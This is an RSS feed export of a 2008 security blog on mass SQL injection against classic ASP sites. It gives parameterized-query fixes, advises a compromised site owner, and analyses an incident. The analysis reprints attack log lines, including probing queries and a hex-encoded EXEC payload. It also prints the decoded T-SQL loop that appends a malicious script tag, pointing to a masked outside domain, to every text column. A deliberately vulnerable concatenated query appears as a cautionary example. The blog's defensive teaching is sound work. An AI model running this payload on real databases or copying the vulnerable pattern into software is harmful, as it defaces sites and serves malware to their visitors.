&lt;P&gt;Here, we are creating an explicit parameter with a type of adVarChar (ie, it's a string) that is an input parameter with a maximum length of 20.&amp;nbsp; We append the parameter to our ADODB.Command object and set the parameter's value to the search string we want in our command.&amp;nbsp; More info about ADODB.Parameter objects is &lt;A href="http://msdn.microsoft.com/en-us/library/ms681010(VS.85).aspx" mce_href="http://msdn.microsoft.com/en-us/library/ms681010(VS.85).aspx"&gt;here&lt;/A&gt;, more info about the possible types is &lt;A href="http://msdn.microsoft.com/en-us/library/ms675318(VS.85).aspx" mce_href="http://msdn.microsoft.com/en-us/library/ms675318(VS.85).aspx"&gt;here&lt;/A&gt;.&lt;/P&gt;
&lt;H2&gt;RecordSets&lt;/H2&gt;
&lt;P&gt;We may want to be able to write to the ADODB.RecordSet that we create; however, the code above won't work for that because it creates a recordset with the default parameters (Set objSearchResults = objCommand.Execute()).&amp;nbsp; If we want to be able to update the recordset, we have to create it with explicit parameters:&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;Set objConnection = Server.CreateObject("ADODB.Connection") &lt;BR&gt;objConnection.Open "Provider=SQLOLEDB;Data Source=SQLSERVER;" _ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp; "Initial Catalog=website;User Id=user;Password=password;" _ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp; "Connect Timeout=15;Network Library=dbmssocn;" &lt;BR&gt;strSql = "SELECT name, info FROM [companies] WHERE name = ?;" &lt;BR&gt;set objCommand = Server.CreateObject("ADODB.Command") &lt;BR&gt;objCommand.ActiveConnection = objConnection &lt;BR&gt;objCommand.CommandText = strSql &lt;BR&gt;set objParameter = objCommand.CreateParameter("search", adVarChar, adParamInput, 20) &lt;BR&gt;objCommand.Parameters.Append objParameter &lt;BR&gt;obParameter.value = strSearch &lt;BR&gt;&lt;STRONG&gt;Set objSearchResults = Server.CreateObject("ADODB.RecordSet") &lt;BR&gt;objSearchResults.Open objCommand,null,adOpenDynamic,adLockOptimistic&lt;/STRONG&gt;&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;Now, we are explicitly providing parameters to indicate that we want a dynamic cursor (adOpenDynamic) and that we want optimistic locking (adLockOptimistic).&amp;nbsp; This creates a recordset that can be updated via the RecordSet.Update method (&lt;A title=http://msdn.microsoft.com/en-us/library/ms676529(VS.85).aspx href="http://msdn.microsoft.com/en-us/library/ms676529(VS.85).aspx" mce_href="http://msdn.microsoft.com/en-us/library/ms676529(VS.85).aspx"&gt;http://msdn.microsoft.com/en-us/library/ms676529(VS.85).aspx&lt;/A&gt;).&lt;/P&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3060009" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx">SQL</category><category domain="http://blogs.technet.com/neilcar/archive/tags/ASP/default.aspx">ASP</category></item><item><title>SQL Injection Mitigation: Using Parameterized Queries</title><link>http://blogs.technet.com/neilcar/archive/2008/05/21/sql-injection-mitigation-using-parameterized-queries.aspx</link><pubDate>Wed, 21 May 2008 16:05:00 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3058592</guid><dc:creator>neilcar</dc:creator><slash:comments>15</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3058592.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3058592</wfw:commentRss><description>&lt;P&gt;Michael Howard wrote an excellent article yesterday on &lt;A href="http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx" mce_href="http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx"&gt;how the SDL addresses SQL injection&lt;/A&gt;.&amp;nbsp; He walks through three coding requirements/defenses:&lt;/P&gt;
&lt;UL&gt;
&lt;LI&gt;Use SQL Parameterized Queries &lt;/LI&gt;
&lt;LI&gt;Use Stored Procedures &lt;/LI&gt;
&lt;LI&gt;Use SQL Execute-only Permissions &lt;/LI&gt;&lt;/UL&gt;
&lt;P&gt;As Michael points out, only the first, parameterized queries, remedies the problem.&amp;nbsp; The other two provide additional defense.&lt;/P&gt;
&lt;P&gt;The good news is that changing your ASP pages to use parameterized queries instead of just dynamically building the query is dead simple.&amp;nbsp; The bad news is that MSDN doesn't have a lot of samples of how to do parameterized queries in ASP so I thought providing one would be helpful.&lt;/P&gt;
&lt;P&gt;As an example, I'm sure that a lot of the websites that have been compromised recently via SQL injection have something like this:&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;Set objConnection = Server.CreateObject("ADODB.Connection") &lt;BR&gt;objConnection.Open "Provider=SQLOLEDB;Data Source=SQLSERVER;" _ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp; "Initial Catalog=website;User Id=user;Password=password;" _ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp; "Connect Timeout=15;Network Library=dbmssocn;" &lt;BR&gt;strSQL = "SELECT name, info FROM [companies] WHERE name =" &amp;amp; strSearch &amp;amp; "';" &lt;BR&gt;Set objSearchResults = objConnection.Execute(strSQL)&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;This code is going to be extremely vulnerable to SQL injection since it's just taking the user input (which was passed in via a query string from a web form) and pasting it into the SQL statement.&amp;nbsp; &lt;/P&gt;
&lt;P&gt;The good thing about parameterization is that it separates the 'executable' code ("SELECT name, info...") from the 'data' (strSearch) we're using.&amp;nbsp; With a few changes, we can make this code use parameters for the query and, with this small change, defend against being exploited in this way.&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;Set objConnection = Server.CreateObject("ADODB.Connection") &lt;BR&gt;objConnection.Open "Provider=SQLOLEDB;Data Source=SQLSERVER;" _ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp; "Initial Catalog=website;User Id=user;Password=password;" _ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp; "Connect Timeout=15;Network Library=dbmssocn;" &lt;BR&gt;strSql = "SELECT name, info FROM [companies] WHERE name = ?;" &lt;BR&gt;set objCommand = Server.CreateObject("ADODB.Command") &lt;BR&gt;objCommand.ActiveConnection = objConnection&lt;BR&gt;objCommand.CommandText = strSql &lt;BR&gt;objCommand.Parameters(0).value = strSearch &lt;BR&gt;Set objSearchResults = objCommand.Execute()&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;All that we needed to do was:&lt;/P&gt;
&lt;UL&gt;
&lt;LI&gt;Replace the query string in our SQL squery statement with a ? (which is the placeholder for a parameter). &lt;/LI&gt;
&lt;LI&gt;Create a new Command object for our command. &lt;/LI&gt;
&lt;LI&gt;Assign our active connection and command text to the Command object. &lt;/LI&gt;
&lt;LI&gt;Set the first parameter in the parameters collection to our dynamic string. &lt;/LI&gt;
&lt;LI&gt;Execute the command. &lt;/LI&gt;&lt;/UL&gt;
&lt;P&gt;If we needed to use multiple parameters in our query, we'd add additional question marks to strSQL and additional parameters to the Parameters collection.&amp;nbsp; For example:&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;...&lt;/P&gt;
&lt;P&gt;strSql = "SELECT name, info FROM [companies] WHERE name = ?" _ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp; "AND info = ?;" &lt;BR&gt;... &lt;BR&gt;objCommand.Parameters(0).value = strName &lt;BR&gt;objCommand.Parameters(1).value = strInfo &lt;BR&gt;...&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;There is a BIG caveat on this -- the method I show above has a performance hit because I haven't specified the types of the parameters.&amp;nbsp; This means that ADO has to make a roundtrip to the SQL server to figure out the type before actually using it.&amp;nbsp; You can fix this by creating parameters objects with the appropriate type which would have the added bonus of doing simple input validation as well.&amp;nbsp; If there's interest, I'll write a followup in the next few weeks with some samples of typed, parameterized queries.&amp;nbsp; (EDIT:&amp;nbsp; Written, it's &lt;A class="" href="http://blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx" mce_href="http://blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx"&gt;here&lt;/A&gt;.)&lt;/P&gt;
&lt;P&gt;Additional info is available on MSDN &lt;A href="http://msdn.microsoft.com/en-us/library/ms808739.aspx" mce_href="http://msdn.microsoft.com/en-us/library/ms808739.aspx"&gt;here&lt;/A&gt;.&amp;nbsp; NomadPete has a fuller walkthrough &lt;A href="http://www.nomadpete.com/2007/03/23/classic-asp-which-is-still-alive-and-parametised-queries/" mce_href="http://www.nomadpete.com/2007/03/23/classic-asp-which-is-still-alive-and-parametised-queries/"&gt;here&lt;/A&gt; that covers parameterized queries and stored procedures.&lt;/P&gt;
&lt;P&gt;As always, this is only part of the job in securing against SQL injection; however, it is probably the single most useful change you could make.&lt;/P&gt;
&lt;P&gt;(Big thanks to &lt;A class="" href="http://msdn.microsoft.com/en-us/magazine/cc301140.aspx" mce_href="http://msdn.microsoft.com/en-us/magazine/cc301140.aspx"&gt;Bala Neerumalla&lt;/A&gt; for tech reviewing this for me.)&lt;BR&gt;(Edit:&amp;nbsp; Fixed two minor issues with the code examples.&amp;nbsp; Thanks, Steve!)&lt;/P&gt;
&lt;P&gt;&lt;A class="" href="http://blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx" mce_href="http://blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx"&gt;Continue on to Part 2&lt;/A&gt;&lt;/P&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3058592" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx">SQL</category><category domain="http://blogs.technet.com/neilcar/archive/tags/ASP/default.aspx">ASP</category></item><item><title>SQL Injection -- A Comment</title><link>http://blogs.technet.com/neilcar/archive/2008/04/07/sql-injection-a-comment.aspx</link><pubDate>Mon, 07 Apr 2008 17:51:19 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3031695</guid><dc:creator>neilcar</dc:creator><slash:comments>1</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3031695.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3031695</wfw:commentRss><description>&lt;p&gt;Kumar comments &lt;a href="http://blogs.technet.com/neilcar/archive/2008/03/15/anatomy-of-a-sql-injection-incident-part-2-meat.aspx"&gt;here&lt;/a&gt; and I think he has some questions/concerns that are worth addressing.&amp;#160; I'm going to add my own comments (and, please note, the comments I make here are my own and do not necessarily reflect Microsoft's corporate opinions).&lt;/p&gt;  &lt;p&gt;---------------------------------------------------------------------------------------&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;font color="#0000ff"&gt;My site extensively uses asp and sql server. My site ranking is good with google for certain keywords searches.&lt;/font&gt;&lt;/p&gt;    &lt;p&gt;&lt;font color="#0000ff"&gt;Friday morning I found that the bad people (nmidahena) had updated text fields in almost all of the tables with a &amp;lt;script&amp;gt; some thing.js &amp;lt;/script&amp;gt;. This has created a nightmare for me.&lt;/font&gt;&amp;#160; &lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;[nbc] This is consistent with what we've seen elsewhere.&amp;#160; You had one or more SQL injection vulnerabilities on an ASP page that used a query string as the SQL query.&amp;#160; The attackers found you on Google and ran their scripted attack against you, resulting in all your text getting the &amp;lt;script&amp;gt; tag appended to it.&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;font color="#0000ff"&gt;Fortunately, I had a backup that came to my rescue. I also downloaded all asp and html files to my local machines and searched for &amp;quot;nmidahena&amp;quot; - nothing came up.&lt;/font&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;[nbc] You won't find anything in the code files, at least not in this attack.&amp;#160; &lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;font color="#0000ff"&gt;This is what I have done:&lt;/font&gt;&lt;/p&gt;    &lt;p&gt;&lt;font color="#0000ff"&gt;a) Restore sql server tables from the backup.&lt;/font&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;[nbc] This is a very good step as long as you also fix the holes that were used to compromise it in the first place.&amp;#160; &lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;font color="#0000ff"&gt;b) Rewrite my asp forms to not to accept any character or words that could be used for sql injection.&lt;/font&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;[nbc] This one is more problematic.&amp;#160; Just blacklisting a set of characters/words is probably going to break this attack but it's not likely to prevent future attacks from working.&amp;#160; I am not really qualified to answer this as I'm not a developer by trade.&amp;#160; Thankfully, Michael Howard and David LeBlanc spent a lot of time answering it in &lt;a href="http://www.google.com/url?sa=t&amp;amp;ct=res&amp;amp;cd=1&amp;amp;url=http%3A%2F%2Fwww.microsoft.com%2Fmspress%2Fbooks%2F5957.aspx&amp;amp;ei=MC_6R_CiE4ryiQG3ieztDg&amp;amp;usg=AFQjCNEfjlFqaCyHIguH2jfDABfm7x2WpQ&amp;amp;sig2=mbV15Vx-7v-CJDfqqhZSOw"&gt;Writing Secure Code&lt;/a&gt;.&amp;#160; I have the 2nd edition on my desk and pages 399-411 cover this at great length.&lt;/p&gt;  &lt;p&gt;[nbc] There are almost certainly other issues to be considered here.&amp;#160; The first one is that, in most of these attacks, it looks like the web app is using a user with sysadmin privileges in SQL.&amp;#160; This is as bad an idea as putting IUSR_MYSERVER in the administrators group.&amp;#160; Your web app should have the least possible privilege in SQL.&amp;#160; Running as sysadmin in SQL enables things such as xp_cmdshell, which is a great way for attackers to run sniffers, password-stealing utilities, and other malware on your SQL Server.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;[nbc] Another thing to consider is the possibility that this isn't the first SQL injection attack against you.&amp;#160; Another attacker might not have defaced your website; instead, they might have silently stolen every bit of data in your database.&amp;#160; If your web app was running as sysadmin, they might have silently stolen every bit of data in EVERY database on your SQL Server.&amp;#160; It is entirely possible that every name, e-mail address, password, credit-card number, etc that is in your database server's possession is now in somebody else's possession as well.&amp;#160; If so, your IIS logs should tell the story.&lt;/strong&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;font color="#0000ff"&gt;Do you think this would be sufficient to prevent future attack?&lt;/font&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;[nbc] There are two answers to this question:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;I think this is sufficient to prevent future iterations of this same attack...until the attackers change the script they're using.     &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;I don't think this is sufficient to prevent all future SQL injection attacks.&amp;#160; The only approach that is going to help with that is to make sure that you are using least privilege in SQL and build secure SQL statements/stored procedures.&amp;#160; Even then, of course, there may be other vulnerabilities in your site that can lead to compromise.&lt;/li&gt; &lt;/ol&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;font color="#0000ff"&gt;I dont know where to look for help. The hosting agency has no good answers.&lt;/font&gt; &lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;[nbc] I don't envy your hosting company or, for that matter, any hosting company.&amp;#160; In general, I don't think it's going to be their responsibility to ensure that your code is secure, so I'm not surprised that they don't have good answers.&amp;#160; On the other hand, if the security bugs in your code are severe enough, you might be opening their facility up to further compromise.&amp;#160; &lt;/p&gt;  &lt;p&gt;---------------------------------------------------------------------------------------&lt;/p&gt;  &lt;p&gt;Other people may have better advice than I, and I'd love to hear it.&amp;#160; Since I'm seeing another 11K (and rising) servers compromised this month via this attack, I think you're not the only person asking these questions.&amp;#160; I've spent a lot of time thinking about this lately from a support/incident response perspective and I have some very large questions that I can't seem to answer.&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Since my team operates from a reactive position (customer gets compromised, customer calls us, we investigate and offer suggestions), how can we help customers remediate this problem when we work with them?&amp;#160; Realistically, the customer needs to do a security code review; however, this is beyond the scope of my team.&amp;#160; There are offerings that cover this but, given the amount of work and expertise involved, they are costly.     &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;Even if I had the opportunity to be proactive, how could I contact the large number of people who appear to be vulnerable due to their own code defects (67K+ from last month's attack, 11K+ so far this month)?&amp;#160; &lt;/li&gt; &lt;/ul&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3031695" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/Incident+Response/default.aspx">Incident Response</category><category domain="http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx">SQL</category></item><item><title>Mass SQL Injection -- Get Used To It</title><link>http://blogs.technet.com/neilcar/archive/2008/04/04/mass-sql-injection-get-used-to-it.aspx</link><pubDate>Fri, 04 Apr 2008 21:00:34 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3028907</guid><dc:creator>neilcar</dc:creator><slash:comments>0</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3028907.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3028907</wfw:commentRss><description>&lt;p&gt;It looks like &lt;a href="http://malwaredomains.com/?p=148"&gt;another wave&lt;/a&gt; of the mass SQL injection &lt;a href="http://blogs.technet.com/neilcar/archive/2008/03/14/anatomy-of-a-sql-injection-incident.aspx"&gt;I talked about last month&lt;/a&gt; is going on.&amp;#160; The inserted link is different and, in the one specific incident I've seen, the source IP address is different; however, other than that, the attack looks to be identical.&lt;/p&gt;  &lt;p&gt;2.1K websites so far, this month. &lt;/p&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3028907" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/Incident+Response/default.aspx">Incident Response</category><category domain="http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx">SQL</category></item><item><title>Good News</title><link>http://blogs.technet.com/neilcar/archive/2008/03/20/good-news.aspx</link><pubDate>Fri, 21 Mar 2008 00:50:45 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3016789</guid><dc:creator>neilcar</dc:creator><slash:comments>0</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3016789.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3016789</wfw:commentRss><description>&lt;p&gt;The good news is that, whatever else might happen, &lt;a href="http://thedailywtf.com/Articles/So-You-Hacked-Our-Site!.aspx"&gt;these guys&lt;/a&gt; won't get pwned by SQL injection.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;(Via &lt;a href="http://www.grumpysecurityguy.com/worst-security-i-have-seen-in-a-long-time/"&gt;GrumpySecurityGuy&lt;/a&gt;.)&lt;/p&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3016789" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/humor/default.aspx">humor</category></item><item><title>Anatomy of a SQL Injection Incident, Part 2: Meat</title><link>http://blogs.technet.com/neilcar/archive/2008/03/15/anatomy-of-a-sql-injection-incident-part-2-meat.aspx</link><pubDate>Sun, 16 Mar 2008 04:18:00 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3004503</guid><dc:creator>neilcar</dc:creator><slash:comments>15</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3004503.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3004503</wfw:commentRss><description>&lt;p&gt;&lt;b&gt;Intro&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;It would appear that the incident I wrote about yesterday is still ongoing.&amp;nbsp; I've been using a search engine to query for the *.js file that's being injected and it looks something like this:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;Wednesday: 10K hits (This is Avert's number.&amp;nbsp; I didn't look until Thu.)      &lt;br&gt;Thursday: 12.1K hits       &lt;br&gt;Friday: 12.9K hits       &lt;br&gt;Saturday: 14K hits&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;It's not the most scientific measure but it does show a pretty steady progression.&amp;nbsp; The earliest incident that I'm aware of was around 2008-03-01 (depending on where you are in the world) so that's a rate of about a thousand hosts a day, give or take.&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.technet.com/robert_hensing/default.aspx" mce_href="http://blogs.technet.com/robert_hensing/default.aspx"&gt;Hensing&lt;/a&gt; took me to task, privately, for &lt;a href="http://blogs.technet.com/neilcar/archive/2008/03/14/anatomy-of-a-sql-injection-incident.aspx" mce_href="http://blogs.technet.com/neilcar/archive/2008/03/14/anatomy-of-a-sql-injection-incident.aspx"&gt;my last post&lt;/a&gt; on this because it wasn't very detailed.&amp;nbsp; Fair enough, let's see if we can flesh this out.&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&lt;b&gt;Analysis of an Incident&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;One interesting thing is that the attack appears to do different things depending on the responses it gets to various queries.&amp;nbsp; I've seen three successful incidents and, while they are all similar, it's clear that the script is doing different things depending on the responses it gets.&amp;nbsp; In all four cases, the first thing that happens is:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;2008-03-08 13:37:12 /dir1/archive.asp id=z%20ANd%20char(124)%2Buser%2Bchar(124)=0 202.101.*.* HTTP/1.1 Internet+Explorer+6.0 - - 200 0 17115 1171      &lt;br&gt;      &lt;br&gt;2008-03-08 13:37:13 /dir1/archive.asp id=z%27%20ANd%20char(124)%2Buser%2Bchar(124)=0%20and%20%27%27=%27 202.101.*.* HTTP/1.1 Internet+Explorer+6.0 - - 200 0 17115 562&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;The id=... portion of that log is the cs-uri-query portion of the log.&amp;nbsp; If you were to hit this in the browser, the URL would look like this:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;http://www.someserver.com/dir1/archive.asp?id=z%20ANd%20char(124)%2Buser%2Bchar(124)=0&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;These lines are double-encoded -- the first set of encoded characters, which would be translated by IIS, are denoted by %XX.&amp;nbsp; For example, %20 is a space.&amp;nbsp; The second set aren't meant to be translated until they get to the SQL Server and they use the char(xxx) function in SQL.&amp;nbsp; If we unencode both of those lines, we get this:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;id=z ANd |user|=0      &lt;br&gt;id=z ANd |user|=0 and ''='&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;The next query is a lot of fun:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;2008-03-08 13:37:13 /dir1/archive.asp id=z%27%20ANd%20char(124)%2Buser%2Bchar(124)=0%20and%20%27%25%27=%27|33|80040e07|Syntax_error_converting_the_nvarchar_value_'|IUSR_Server|'_to_a_column_of_data_type_int. 202.101.*.* HTTP/1.1 Internet+Explorer+6.0 - - 500 0 292 390&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;This time, it reads:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;id=z ANd |user|=0 and '%'='&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;This time, the attacker has hit the right combination to return a very informative error message -- he now knows the user ("IUSR_Server") that the web application is running as.&amp;nbsp; In this particular instance, the attacker is happy with this information and proceeds to deliver the payload.&amp;nbsp; In another instance I looked at, the attacker used one extra query with the &lt;a href="http://msdn2.microsoft.com/en-us/library/ms176015.aspx" mce_href="http://msdn2.microsoft.com/en-us/library/ms176015.aspx"&gt;IS_SRVROLEMEMBER&lt;/a&gt; T-SQL function to see if the user was a sysadmin.&lt;/p&gt;  &lt;p&gt;So, finally, the attacker is delivering the payload.&amp;nbsp; I've truncated these for readability:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;2008-03-08 13:37:15 /dir1/archive.asp id=z;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(4000));EXEC(@S);-- 202.101.*.* HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library) - - 200 0 17139 1421      &lt;br&gt;      &lt;br&gt;2008-03-08 13:37:25 /dir1/archive.asp id=z';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(4000));EXEC(@S);-- 202.101.*.* HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library) - - 200 0 0 10234&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;This looks a little complicated but, if we remove the encoding, we get this:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;DECLARE @S NVARCHAR(4000);      &lt;br&gt;SET @S=CAST(0x440045004300...7200 AS NVARCHAR(4000));       &lt;br&gt;EXEC(@S);--&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;So, here's what this little bit of T-SQL is doing:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Declaring a variable, S, as an NVARCHAR.&amp;nbsp; For those of us who don't speak T-SQL natively, think of this as a string. &lt;/li&gt;    &lt;li&gt;Taking a long hex value (I took out a few hundred characters where the ... is there) that is really a Unicode string(1) and casting it as NVARCHAR.&amp;nbsp; In other words, we're taking this hex representation of a string and turning it into a real string. &lt;/li&gt;    &lt;li&gt;Once that's done, we execute that string as a T-SQL statement. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;So, of course, the next question is "What is that string?"&amp;nbsp; Here it is, with a bit of sanitization:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;DECLARE @T varchar(255),@C varchar(255)      &lt;br&gt;DECLARE Table_Cursor CURSOR FOR       &lt;br&gt;select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)       &lt;br&gt;OPEN Table_Cursor FETCH NEXT FROM&amp;nbsp; Table_Cursor INTO @T,@C       &lt;br&gt;WHILE(@@FETCH_STATUS=0) BEGIN       &lt;br&gt;exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''&amp;lt;script src=http://www.211796*.net/f****p.js&amp;gt;&amp;lt;/script&amp;gt;''')       &lt;br&gt;FETCH NEXT FROM&amp;nbsp; Table_Cursor INTO @T,@C       &lt;br&gt;END       &lt;br&gt;CLOSE Table_Cursor       &lt;br&gt;DEALLOCATE Table_Cursor&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;This one is a little more complicated but it does something like this:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Declare a few variables that are used later. &lt;/li&gt;    &lt;li&gt;Do a SQL query on the sysobjects and syscolumns tables.&amp;nbsp; This is some serious mojo as these tables contain a list of ALL the tables and ALL the columns in the database.&amp;nbsp; What this query is looking for is every column in the entire database with a type that contains strings. &lt;/li&gt;    &lt;li&gt;Now, we're going to loop through all of those columns and, in every one of them... &lt;/li&gt;    &lt;li&gt;...we're going to append the &amp;lt;script&amp;gt;...&amp;lt;/script&amp;gt; text. &lt;/li&gt;    &lt;li&gt;Finally, clean up and we're done. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;Now that this has run, every bit of text in your database has this malicious script tag appended to it.&amp;nbsp; If you're using that database to contain text/HTML that you're going to insert into your webpages and display to your users, you are now serving up a malicious script to every one of your trusting customers.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Check Yourself&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;If you've got a website that uses a database as a backend, you should now be a little concerned.&amp;nbsp; Here are some ideas on what to look for.&lt;/p&gt;  &lt;p&gt;So far, the only affected platform that I'm aware of is ASP pages with Microsoft SQL Server as a backend.&amp;nbsp; That doesn't mean that some miscreants won't move on to ASP.Net or PHP or something else -- the attack should be easy enough to move to other platforms.&amp;nbsp; It just means that, so far, ASP pages are all that I've seen affected.&lt;/p&gt;  &lt;p&gt;If you fit into that category, then you'll be wanting to review your IIS logs for anything suspicious.&amp;nbsp; &lt;a href="http://www.google.com/url?sa=t&amp;amp;ct=res&amp;amp;cd=1&amp;amp;url=http%3A%2F%2Fwww.microsoft.com%2Fdownloads%2Fdetails.aspx%3FFamilyID%3D890cd06b-abf8-4c25-91b2-f8d975cf8c07&amp;amp;ei=UHLcR43cCpyGzQT0nOWuAw&amp;amp;usg=AFQjCNGYcYCEUI2OdAX2GV_EO6ETNHqXnA&amp;amp;sig2=z4mlzIH16guIDiu8W6uCww" mce_href="http://www.google.com/url?sa=t&amp;amp;ct=res&amp;amp;cd=1&amp;amp;url=http%3A%2F%2Fwww.microsoft.com%2Fdownloads%2Fdetails.aspx%3FFamilyID%3D890cd06b-abf8-4c25-91b2-f8d975cf8c07&amp;amp;ei=UHLcR43cCpyGzQT0nOWuAw&amp;amp;usg=AFQjCNGYcYCEUI2OdAX2GV_EO6ETNHqXnA&amp;amp;sig2=z4mlzIH16guIDiu8W6uCww"&gt;LogParser&lt;/a&gt; is, hands down, my favorite tool for this sort of work.&amp;nbsp; 